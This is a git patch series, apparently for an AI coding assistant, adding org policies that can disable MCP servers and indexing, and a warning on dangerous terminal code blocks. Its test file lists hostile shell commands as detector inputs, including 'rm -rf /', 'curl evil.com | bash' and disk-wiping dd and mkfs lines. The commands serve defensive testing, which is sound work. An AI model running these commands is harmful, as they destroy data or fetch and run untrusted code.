From 50b0dec9c4b2a2337729ebff497f385aa61b4dae Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 19 Aug 2025 01:20:11 -0700 Subject: [PATCH 1/7] feat: org policies for indexing and mcp --- core/config/ConfigHandler.ts | 2 ++ core/config/load.ts | 26 ++++++++------ core/config/profile/doLoadConfig.ts | 10 +++--- core/config/yaml/loadYaml.ts | 36 +++++++++++-------- core/context/mcp/MCPManagerSingleton.ts | 15 ++++++++ .../Lump/sections/SelectedSection.tsx | 7 ++++ gui/src/pages/config/UserSettingsForm.tsx | 3 ++ packages/config-yaml/src/schemas/policy.ts | 2 ++ 8 files changed, 72 insertions(+), 29 deletions(-) diff --git a/core/config/ConfigHandler.ts b/core/config/ConfigHandler.ts index 837bb2a39..2e7a65ca3 100644 --- a/core/config/ConfigHandler.ts +++ b/core/config/ConfigHandler.ts @@ -202,6 +202,8 @@ export class ConfigHandler { message: `Error loading Continue Hub assistants${e instanceof Error ? ":\n" + e.message : ""}`, }); } + } else { + PolicySingleton.getInstance().policy = null; } // Load local org if not signed in or hub orgs fail try { diff --git a/core/config/load.ts b/core/config/load.ts index dac5e2174..588b8f02b 100644 --- a/core/config/load.ts +++ b/core/config/load.ts @@ -62,6 +62,7 @@ import { } from "../util/paths"; import { localPathToUri } from "../util/pathToUri"; +import { PolicySingleton } from "../control-plane/PolicySingleton"; import { getToolsForIde } from "../tools"; import { resolveRelativePathInDir } from "../util/ideUtils"; import { getWorkspaceRcConfigs } from "./json/loadRcConfigs"; @@ -570,16 +571,21 @@ async function intermediateToFinalConfig({ // Trigger MCP server refreshes (Config is reloaded again once connected!) const mcpManager = MCPManagerSingleton.getInstance(); - mcpManager.setConnections( - (config.experimental?.modelContextProtocolServers ?? []).map( - (server, index) => ({ - id: `continue-mcp-server-${index + 1}`, - name: `MCP Server`, - ...server, - }), - ), - false, - ); + const orgPolicy = PolicySingleton.getInstance().policy; + if (orgPolicy?.policy?.allowMcpServers === false) { + await mcpManager.shutdown(); + } else { + mcpManager.setConnections( + (config.experimental?.modelContextProtocolServers ?? []).map( + (server, index) => ({ + id: `continue-mcp-server-${index + 1}`, + name: `MCP Server`, + ...server, + }), + ), + false, + ); + } // Handle experimental modelRole config values for apply and edit const inlineEditModel = getModelByRole(continueConfig, "inlineEdit")?.title; diff --git a/core/config/profile/doLoadConfig.ts b/core/config/profile/doLoadConfig.ts index 040fd3b41..fda3cb8b8 100644 --- a/core/config/profile/doLoadConfig.ts +++ b/core/config/profile/doLoadConfig.ts @@ -335,12 +335,14 @@ export default async function doLoadConfig(options: { } } - if ( - PolicySingleton.getInstance().policy?.policy?.allowAnonymousTelemetry === - false - ) { + // Org policies + const policy = PolicySingleton.getInstance().policy?.policy; + if (policy?.allowAnonymousTelemetry === false) { newConfig.allowAnonymousTelemetry = false; } + if (policy?.allowCodebaseIndexing === false) { + newConfig.disableIndexing = true; + } // Setup telemetry only after (and if) we know it is enabled await Telemetry.setup( diff --git a/core/config/yaml/loadYaml.ts b/core/config/yaml/loadYaml.ts index 6772a2d02..cdc4a6bef 100644 --- a/core/config/yaml/loadYaml.ts +++ b/core/config/yaml/loadYaml.ts @@ -35,6 +35,7 @@ import { modifyAnyConfigWithSharedConfig } from "../sharedConfig"; import { convertPromptBlockToSlashCommand } from "../../commands/slash/promptBlockSlashCommand"; import { slashCommandFromPromptFile } from "../../commands/slash/promptFileSlashCommand"; import { getControlPlaneEnvSync } from "../../control-plane/env"; +import { PolicySingleton } from "../../control-plane/PolicySingleton"; import { getToolsForIde } from "../../tools"; import { getCleanUriPath } from "../../util/uri"; import { getAllDotContinueDefinitionFiles } from "../loadLocalAssistants"; @@ -415,21 +416,26 @@ async function configYamlToContinueConfig(options: { // Trigger MCP server refreshes (Config is reloaded again once connected!) const mcpManager = MCPManagerSingleton.getInstance(); - mcpManager.setConnections( - (config.mcpServers ?? []).map((server) => ({ - id: server.name, - name: server.name, - sourceFile: server.sourceFile, - transport: { - type: "stdio", - args: [], - ...(server as any), // TODO: fix the types on mcpServers in config-yaml - }, - timeout: server.connectionTimeout, - })), - false, - { ide }, - ); + const orgPolicy = PolicySingleton.getInstance().policy; + if (orgPolicy?.policy?.allowMcpServers === false) { + await mcpManager.shutdown(); + } else { + mcpManager.setConnections( + (config.mcpServers ?? []).map((server) => ({ + id: server.name, + name: server.name, + sourceFile: server.sourceFile, + transport: { + type: "stdio", + args: [], + ...(server as any), // TODO: fix the types on mcpServers in config-yaml + }, + timeout: server.connectionTimeout, + })), + false, + { ide }, + ); + } return { config: continueConfig, errors: localErrors }; } diff --git a/core/context/mcp/MCPManagerSingleton.ts b/core/context/mcp/MCPManagerSingleton.ts index 22495bef4..c9dc41929 100644 --- a/core/context/mcp/MCPManagerSingleton.ts +++ b/core/context/mcp/MCPManagerSingleton.ts @@ -48,6 +48,21 @@ export class MCPManagerSingleton { this.connections.delete(id); } + async shutdown() { + if (this.connections.size > 0) { + await Promise.allSettled( + Array.from(this.connections.entries()).map(([id, connection]) => { + try { + connection.abortController.abort(); + void connection.client.close(); + } finally { + this.connections.delete(id); + } + }), + ); + } + } + setConnections( servers: MCPOptions[], forceRefresh: boolean, diff --git a/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx b/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx index 29feb6680..f8e6a52e1 100644 --- a/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx +++ b/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx @@ -1,3 +1,5 @@ +import { useAppSelector } from "../../../../redux/hooks"; +import { selectCurrentOrg } from "../../../../redux/slices/profilesSlice"; import { useLump } from "../LumpContext"; import { ContextSection } from "./ContextSection"; import { ErrorSection } from "./errors/ErrorSection"; @@ -12,6 +14,8 @@ import { ToolPoliciesSection } from "./tool-policies/ToolPoliciesSection"; */ export function SelectedSection() { const { displayedSection } = useLump(); + const currentOrg = useAppSelector(selectCurrentOrg); + const hideMcp = currentOrg?.policy?.allowMcpServers === false; switch (displayedSection) { case "models": @@ -25,6 +29,9 @@ export function SelectedSection() { case "tools": return ; case "mcp": + if (hideMcp) { + return null; + } return ; case "error": return ; diff --git a/gui/src/pages/config/UserSettingsForm.tsx b/gui/src/pages/config/UserSettingsForm.tsx index a27e58230..f0f40cd4c 100644 --- a/gui/src/pages/config/UserSettingsForm.tsx +++ b/gui/src/pages/config/UserSettingsForm.tsx @@ -139,6 +139,8 @@ export function UserSettingsForm() { const disableTelemetryToggle = currentOrg?.policy?.allowAnonymousTelemetry === false; + const disableIndexingToggle = + currentOrg?.policy?.allowCodebaseIndexing === false; return (
@@ -243,6 +245,7 @@ export function UserSettingsForm() { handleUpdate({ disableIndexing: !disableIndexing, diff --git a/packages/config-yaml/src/schemas/policy.ts b/packages/config-yaml/src/schemas/policy.ts index c9b3d3a0b..54f6e12e4 100644 --- a/packages/config-yaml/src/schemas/policy.ts +++ b/packages/config-yaml/src/schemas/policy.ts @@ -3,6 +3,8 @@ import * as z from "zod"; export const policySchema = z.object({ allowAnonymousTelemetry: z.boolean().optional(), allowOtherOrgs: z.boolean().optional(), + allowCodebaseIndexing: z.boolean().optional(), + allowMcpServers: z.boolean().optional(), // allowLocalConfigFile: z.boolean().optional(), }); From 659871135415774ddaed9e729cfeeebb0b066e4a Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Mon, 25 Aug 2025 15:27:39 -0700 Subject: [PATCH 2/7] feat: show MCP section but with a disabled message if org policy disables MCP servers --- .../mainInput/Lump/sections/SelectedSection.tsx | 7 ------- .../mainInput/Lump/sections/mcp/MCPSection.tsx | 12 ++++++++++++ 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx b/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx index f8e6a52e1..29feb6680 100644 --- a/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx +++ b/gui/src/components/mainInput/Lump/sections/SelectedSection.tsx @@ -1,5 +1,3 @@ -import { useAppSelector } from "../../../../redux/hooks"; -import { selectCurrentOrg } from "../../../../redux/slices/profilesSlice"; import { useLump } from "../LumpContext"; import { ContextSection } from "./ContextSection"; import { ErrorSection } from "./errors/ErrorSection"; @@ -14,8 +12,6 @@ import { ToolPoliciesSection } from "./tool-policies/ToolPoliciesSection"; */ export function SelectedSection() { const { displayedSection } = useLump(); - const currentOrg = useAppSelector(selectCurrentOrg); - const hideMcp = currentOrg?.policy?.allowMcpServers === false; switch (displayedSection) { case "models": @@ -29,9 +25,6 @@ export function SelectedSection() { case "tools": return ; case "mcp": - if (hideMcp) { - return null; - } return ; case "error": return ; diff --git a/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx b/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx index 24fedb53c..98fa7b56c 100644 --- a/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx +++ b/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx @@ -15,6 +15,7 @@ import { useAuth } from "../../../../../context/Auth"; import { IdeMessengerContext } from "../../../../../context/IdeMessenger"; import { useAppDispatch, useAppSelector } from "../../../../../redux/hooks"; import { updateConfig } from "../../../../../redux/slices/configSlice"; +import { selectCurrentOrg } from "../../../../../redux/slices/profilesSlice"; import { fontSize } from "../../../../../util"; import { ToolTip } from "../../../../gui/Tooltip"; import { Button } from "../../../../ui"; @@ -235,10 +236,12 @@ function MCPServerPreview({ server, serverFromYaml }: MCPServerStatusProps) { } function MCPSection() { + const currentOrg = useAppSelector(selectCurrentOrg); const servers = useAppSelector( (store) => store.config.config.mcpServerStatuses, ); const { selectedProfile } = useAuth(); + const disableMcp = currentOrg?.policy?.allowMcpServers === false; const mergedBlocks = useMemo(() => { const parsed = selectedProfile?.rawYaml @@ -250,6 +253,15 @@ function MCPSection() { })); }, [servers, selectedProfile]); + if (true) { + return ( +
+ + MCP Servers are disabled in your organization. + +
+ ); + } return (
From d295c20f774fe98c95439dd502593ad3a7679656 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Mon, 25 Aug 2025 16:13:32 -0700 Subject: [PATCH 3/7] feat: show disabled message for MCP if disabled by admin --- gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx b/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx index 98fa7b56c..f20dbb53b 100644 --- a/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx +++ b/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx @@ -253,7 +253,7 @@ function MCPSection() { })); }, [servers, selectedProfile]); - if (true) { + if (disableMcp) { return (
@@ -262,6 +262,7 @@ function MCPSection() {
); } + return (
From 04575d11e35b17860a6125af13e2a7d82d3bc596 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Mon, 25 Aug 2025 18:37:32 -0700 Subject: [PATCH 4/7] fix: mcp server copy and boolean --- gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx b/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx index 1505b25b4..3b8c12065 100644 --- a/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx +++ b/gui/src/components/mainInput/Lump/sections/mcp/MCPSection.tsx @@ -253,11 +253,11 @@ function MCPSection() { })); }, [servers, selectedProfile]); - if (true) { + if (disableMcp) { return (
- MCP Servers are disabled in your organization. + MCP servers are disabled in your organization
); From 1e6f3fdb5a43975db022c3bff08cc051e969bc2a Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Tue, 2 Sep 2025 14:04:25 -0700 Subject: [PATCH 5/7] improv: display security warnings --- .../StepContainerPreToolbar/index.tsx | 38 ++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx index f9d268ccc..edbf6ffe6 100644 --- a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx +++ b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx @@ -1,4 +1,4 @@ -import { ChevronDownIcon } from "@heroicons/react/24/outline"; +import { ChevronDownIcon, ExclamationTriangleIcon } from "@heroicons/react/24/outline"; import { inferResolvedUriFromRelativePath } from "core/util/ideUtils"; import { renderContextItems } from "core/util/messageContent"; import { useContext, useEffect, useMemo, useState } from "react"; @@ -22,6 +22,7 @@ import { CreateFileButton } from "./CreateFileButton"; import { FileInfo } from "./FileInfo"; import { InsertButton } from "./InsertButton"; import { RunInTerminalButton } from "./RunInTerminalButton"; +import { evaluateTerminalCommandSecurity } from "core/tools/security/terminalCommandSecurity"; export interface StepContainerPreToolbarProps { showToolCallStatusIcon?: boolean; @@ -131,6 +132,35 @@ export function StepContainerPreToolbar({ const isGeneratingCodeBlock = isLastItem && isLastCodeblock && isStreaming; + // Check if this is a bash/shell code block and evaluate security + const securityWarning = useMemo(() => { + // Check if it's a terminal code block (includes bash, sh, or looks like terminal commands) + if (isTerminalCodeBlock(language, codeBlockContent)) { + // First try evaluating the entire block + const wholeBlockEval = evaluateTerminalCommandSecurity('allowedWithoutPermission', codeBlockContent); + if (wholeBlockEval === 'disabled' || wholeBlockEval === 'allowedWithPermission') { + return true; + } + + // If the whole block seems safe, check individual lines + // This catches cases where dangerous commands are mixed with comments + const lines = codeBlockContent.split('\n'); + for (const line of lines) { + const trimmedLine = line.trim(); + // Skip empty lines and comments + if (!trimmedLine || trimmedLine.startsWith('#')) { + continue; + } + + const lineEval = evaluateTerminalCommandSecurity('allowedWithoutPermission', trimmedLine); + if (lineEval === 'disabled' || lineEval === 'allowedWithPermission') { + return true; + } + } + } + return false; + }, [language, codeBlockContent]); + // If we are creating a file, we already render that in the button // so we don't want to dispaly it twice here const displayFilepath = relativeFilepath ?? appliedFileUri; @@ -293,6 +323,12 @@ export function StepContainerPreToolbar({ return (
+ {securityWarning && ( +
+ + This code contains potentially dangerous commands. Please review and understand the code before running. +
+ )}
Date: Tue, 2 Sep 2025 14:26:04 -0700 Subject: [PATCH 6/7] test: StepContainerPreToolbar warning --- .../StepContainerPreToolbar/index.test.tsx | 281 ++++++++++++++++++ 1 file changed, 281 insertions(+) create mode 100644 gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx diff --git a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx new file mode 100644 index 000000000..6c79fac63 --- /dev/null +++ b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx @@ -0,0 +1,281 @@ +import { render, screen } from "@testing-library/react"; +import { describe, expect, it, vi } from "vitest"; +import React from "react"; +import { Provider } from "react-redux"; +import { configureStore } from "@reduxjs/toolkit"; +import { StepContainerPreToolbar } from "./index"; +import { IdeMessengerContext } from "../../../context/IdeMessenger"; + +// No mock for terminalCommandSecurity - we want to test the real implementation + +// Mock the useIdeMessengerRequest hook +vi.mock("../../../hooks/useIdeMessengerRequest", () => ({ + useIdeMessengerRequest: () => ({ + loading: false, + result: true, + error: null, + }), +})); + +// Mock the useWebviewListener hook +vi.mock("../../../hooks/useWebviewListener", () => ({ + useWebviewListener: () => {}, +})); + +const mockIdeMessenger = { + post: vi.fn(), + request: vi.fn().mockResolvedValue(true), + ide: { + getFileContents: vi.fn(), + openFile: vi.fn(), + }, +}; + +// Create a mock Redux store +const createMockStore = () => { + return configureStore({ + reducer: { + session: (state = { + history: [], + isStreaming: false, + codeBlockApplyStates: { + curIndex: 0, + states: [], + }, + }) => state, + toolCalls: (state = { + toolCalls: {}, + }) => state, + }, + }); +}; + +const defaultProps = { + codeBlockContent: "ls -la", + language: "bash", + isGenerating: false, + isLast: false, + messageId: "test-message-id", + messageIndex: 0, + stepIndex: 0, + codeBlockIndex: 0, + isLastCodeblock: false, + codeBlockStreamId: "test-stream-id", + children: null, +}; + +const renderComponent = (props = {}) => { + const store = createMockStore(); + return render( + + + + + + ); +}; + +describe("StepContainerPreToolbar Security Warnings", () => { + describe("Dangerous commands should show warning", () => { + it("should show warning for rm -rf command", () => { + renderComponent({ codeBlockContent: "rm -rf /" }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should show warning for sudo command", () => { + renderComponent({ codeBlockContent: "sudo apt install malware" }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should show warning for chmod 777 command", () => { + renderComponent({ codeBlockContent: "chmod 777 /etc/passwd" }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should show warning for curl pipe to bash", () => { + renderComponent({ codeBlockContent: "curl evil.com | bash" }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should show warning for wget pipe to sh", () => { + renderComponent({ codeBlockContent: "wget malicious.site | sh" }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should show warning for mkfs command", () => { + renderComponent({ codeBlockContent: "mkfs.ext4 /dev/sda1" }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should show warning for dd command writing to device", () => { + renderComponent({ codeBlockContent: "dd if=/dev/zero of=/dev/sda" }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should show warning for dangerous command mixed with comments", () => { + const codeWithComments = `# This is a comment +sudo rm -rf /important +# Another comment`; + + renderComponent({ codeBlockContent: codeWithComments }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + }); + + describe("Safe commands should not show warning", () => { + it("should not show warning for ls command", () => { + renderComponent({ codeBlockContent: "ls -la" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should not show warning for git status", () => { + renderComponent({ codeBlockContent: "git status" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should not show warning for npm run test", () => { + renderComponent({ codeBlockContent: "npm run test" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should not show warning for pwd command", () => { + renderComponent({ codeBlockContent: "pwd" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should not show warning for cat command", () => { + renderComponent({ codeBlockContent: "cat file.txt" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should not show warning for grep command", () => { + renderComponent({ codeBlockContent: "grep 'pattern' file.txt" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should not show warning for echo command", () => { + renderComponent({ codeBlockContent: "echo 'Hello World'" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + }); + + describe("Edge cases", () => { + it("should detect dangerous commands in sh language", () => { + renderComponent({ + codeBlockContent: "sudo rm -rf /", + language: "sh" + }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should detect terminal commands without language specified", () => { + renderComponent({ + codeBlockContent: "ls -la", + language: undefined + }); + + // ls is a common terminal command that's safe + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should handle multi-line scripts with mixed safe and dangerous commands", () => { + const multiLineScript = `echo "Starting script" +ls -la +sudo rm -rf /tmp/test +echo "Done"`; + + renderComponent({ codeBlockContent: multiLineScript }); + + const warning = screen.getByText(/potentially dangerous commands/i); + expect(warning).toBeInTheDocument(); + }); + + it("should not show warning for non-terminal code blocks", () => { + renderComponent({ + codeBlockContent: "const dangerous = 'rm -rf /'", + language: "javascript" + }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should handle empty code blocks", () => { + renderComponent({ codeBlockContent: "" }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + + it("should handle code blocks with only comments", () => { + const onlyComments = `# This is a comment +# Another comment +# Yet another comment`; + + renderComponent({ codeBlockContent: onlyComments }); + + const warning = screen.queryByText(/potentially dangerous commands/i); + expect(warning).not.toBeInTheDocument(); + }); + }); + + describe("Warning UI elements", () => { + it("should display warning with correct styling", () => { + renderComponent({ codeBlockContent: "sudo rm -rf /" }); + + const warningContainer = screen.getByText(/potentially dangerous commands/i).parentElement; + expect(warningContainer).toHaveClass("bg-warning/10", "border-warning/30", "text-warning"); + }); + + it("should display exclamation triangle icon with warning", () => { + renderComponent({ codeBlockContent: "sudo rm -rf /" }); + + // Check for the icon by looking for its container with the warning + const warningContainer = screen.getByText(/potentially dangerous commands/i).parentElement; + const icon = warningContainer?.querySelector('svg'); + expect(icon).toBeInTheDocument(); + expect(icon).toHaveClass("h-4", "w-4"); + }); + + it("should display full warning message", () => { + renderComponent({ codeBlockContent: "sudo rm -rf /" }); + + const expectedMessage = "This code contains potentially dangerous commands. Please review and understand the code before running."; + const warning = screen.getByText(expectedMessage); + expect(warning).toBeInTheDocument(); + }); + }); +}); \ No newline at end of file From b7b720c1ef3012034bfbc7df5102ad79e26ca686 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Tue, 2 Sep 2025 14:26:37 -0700 Subject: [PATCH 7/7] fix: prettier --- .../StepContainerPreToolbar/index.test.tsx | 113 ++++++++++-------- .../StepContainerPreToolbar/index.tsx | 35 ++++-- 2 files changed, 88 insertions(+), 60 deletions(-) diff --git a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx index 6c79fac63..61f96f512 100644 --- a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx +++ b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx @@ -35,17 +35,21 @@ const mockIdeMessenger = { const createMockStore = () => { return configureStore({ reducer: { - session: (state = { - history: [], - isStreaming: false, - codeBlockApplyStates: { - curIndex: 0, - states: [], + session: ( + state = { + history: [], + isStreaming: false, + codeBlockApplyStates: { + curIndex: 0, + states: [], + }, }, - }) => state, - toolCalls: (state = { - toolCalls: {}, - }) => state, + ) => state, + toolCalls: ( + state = { + toolCalls: {}, + }, + ) => state, }, }); }; @@ -71,7 +75,7 @@ const renderComponent = (props = {}) => { - + , ); }; @@ -79,49 +83,49 @@ describe("StepContainerPreToolbar Security Warnings", () => { describe("Dangerous commands should show warning", () => { it("should show warning for rm -rf command", () => { renderComponent({ codeBlockContent: "rm -rf /" }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should show warning for sudo command", () => { renderComponent({ codeBlockContent: "sudo apt install malware" }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should show warning for chmod 777 command", () => { renderComponent({ codeBlockContent: "chmod 777 /etc/passwd" }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should show warning for curl pipe to bash", () => { renderComponent({ codeBlockContent: "curl evil.com | bash" }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should show warning for wget pipe to sh", () => { renderComponent({ codeBlockContent: "wget malicious.site | sh" }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should show warning for mkfs command", () => { renderComponent({ codeBlockContent: "mkfs.ext4 /dev/sda1" }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should show warning for dd command writing to device", () => { renderComponent({ codeBlockContent: "dd if=/dev/zero of=/dev/sda" }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); @@ -130,9 +134,9 @@ describe("StepContainerPreToolbar Security Warnings", () => { const codeWithComments = `# This is a comment sudo rm -rf /important # Another comment`; - + renderComponent({ codeBlockContent: codeWithComments }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); @@ -141,49 +145,49 @@ sudo rm -rf /important describe("Safe commands should not show warning", () => { it("should not show warning for ls command", () => { renderComponent({ codeBlockContent: "ls -la" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for git status", () => { renderComponent({ codeBlockContent: "git status" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for npm run test", () => { renderComponent({ codeBlockContent: "npm run test" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for pwd command", () => { renderComponent({ codeBlockContent: "pwd" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for cat command", () => { renderComponent({ codeBlockContent: "cat file.txt" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for grep command", () => { renderComponent({ codeBlockContent: "grep 'pattern' file.txt" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for echo command", () => { renderComponent({ codeBlockContent: "echo 'Hello World'" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); @@ -191,21 +195,21 @@ sudo rm -rf /important describe("Edge cases", () => { it("should detect dangerous commands in sh language", () => { - renderComponent({ + renderComponent({ codeBlockContent: "sudo rm -rf /", - language: "sh" + language: "sh", }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should detect terminal commands without language specified", () => { - renderComponent({ + renderComponent({ codeBlockContent: "ls -la", - language: undefined + language: undefined, }); - + // ls is a common terminal command that's safe const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); @@ -216,26 +220,26 @@ sudo rm -rf /important ls -la sudo rm -rf /tmp/test echo "Done"`; - + renderComponent({ codeBlockContent: multiLineScript }); - + const warning = screen.getByText(/potentially dangerous commands/i); expect(warning).toBeInTheDocument(); }); it("should not show warning for non-terminal code blocks", () => { - renderComponent({ + renderComponent({ codeBlockContent: "const dangerous = 'rm -rf /'", - language: "javascript" + language: "javascript", }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); it("should handle empty code blocks", () => { renderComponent({ codeBlockContent: "" }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); @@ -244,9 +248,9 @@ echo "Done"`; const onlyComments = `# This is a comment # Another comment # Yet another comment`; - + renderComponent({ codeBlockContent: onlyComments }); - + const warning = screen.queryByText(/potentially dangerous commands/i); expect(warning).not.toBeInTheDocument(); }); @@ -255,27 +259,36 @@ echo "Done"`; describe("Warning UI elements", () => { it("should display warning with correct styling", () => { renderComponent({ codeBlockContent: "sudo rm -rf /" }); - - const warningContainer = screen.getByText(/potentially dangerous commands/i).parentElement; - expect(warningContainer).toHaveClass("bg-warning/10", "border-warning/30", "text-warning"); + + const warningContainer = screen.getByText( + /potentially dangerous commands/i, + ).parentElement; + expect(warningContainer).toHaveClass( + "bg-warning/10", + "border-warning/30", + "text-warning", + ); }); it("should display exclamation triangle icon with warning", () => { renderComponent({ codeBlockContent: "sudo rm -rf /" }); - + // Check for the icon by looking for its container with the warning - const warningContainer = screen.getByText(/potentially dangerous commands/i).parentElement; - const icon = warningContainer?.querySelector('svg'); + const warningContainer = screen.getByText( + /potentially dangerous commands/i, + ).parentElement; + const icon = warningContainer?.querySelector("svg"); expect(icon).toBeInTheDocument(); expect(icon).toHaveClass("h-4", "w-4"); }); it("should display full warning message", () => { renderComponent({ codeBlockContent: "sudo rm -rf /" }); - - const expectedMessage = "This code contains potentially dangerous commands. Please review and understand the code before running."; + + const expectedMessage = + "This code contains potentially dangerous commands. Please review and understand the code before running."; const warning = screen.getByText(expectedMessage); expect(warning).toBeInTheDocument(); }); }); -}); \ No newline at end of file +}); diff --git a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx index edbf6ffe6..a8fcaa989 100644 --- a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx +++ b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx @@ -1,4 +1,7 @@ -import { ChevronDownIcon, ExclamationTriangleIcon } from "@heroicons/react/24/outline"; +import { + ChevronDownIcon, + ExclamationTriangleIcon, +} from "@heroicons/react/24/outline"; import { inferResolvedUriFromRelativePath } from "core/util/ideUtils"; import { renderContextItems } from "core/util/messageContent"; import { useContext, useEffect, useMemo, useState } from "react"; @@ -137,23 +140,32 @@ export function StepContainerPreToolbar({ // Check if it's a terminal code block (includes bash, sh, or looks like terminal commands) if (isTerminalCodeBlock(language, codeBlockContent)) { // First try evaluating the entire block - const wholeBlockEval = evaluateTerminalCommandSecurity('allowedWithoutPermission', codeBlockContent); - if (wholeBlockEval === 'disabled' || wholeBlockEval === 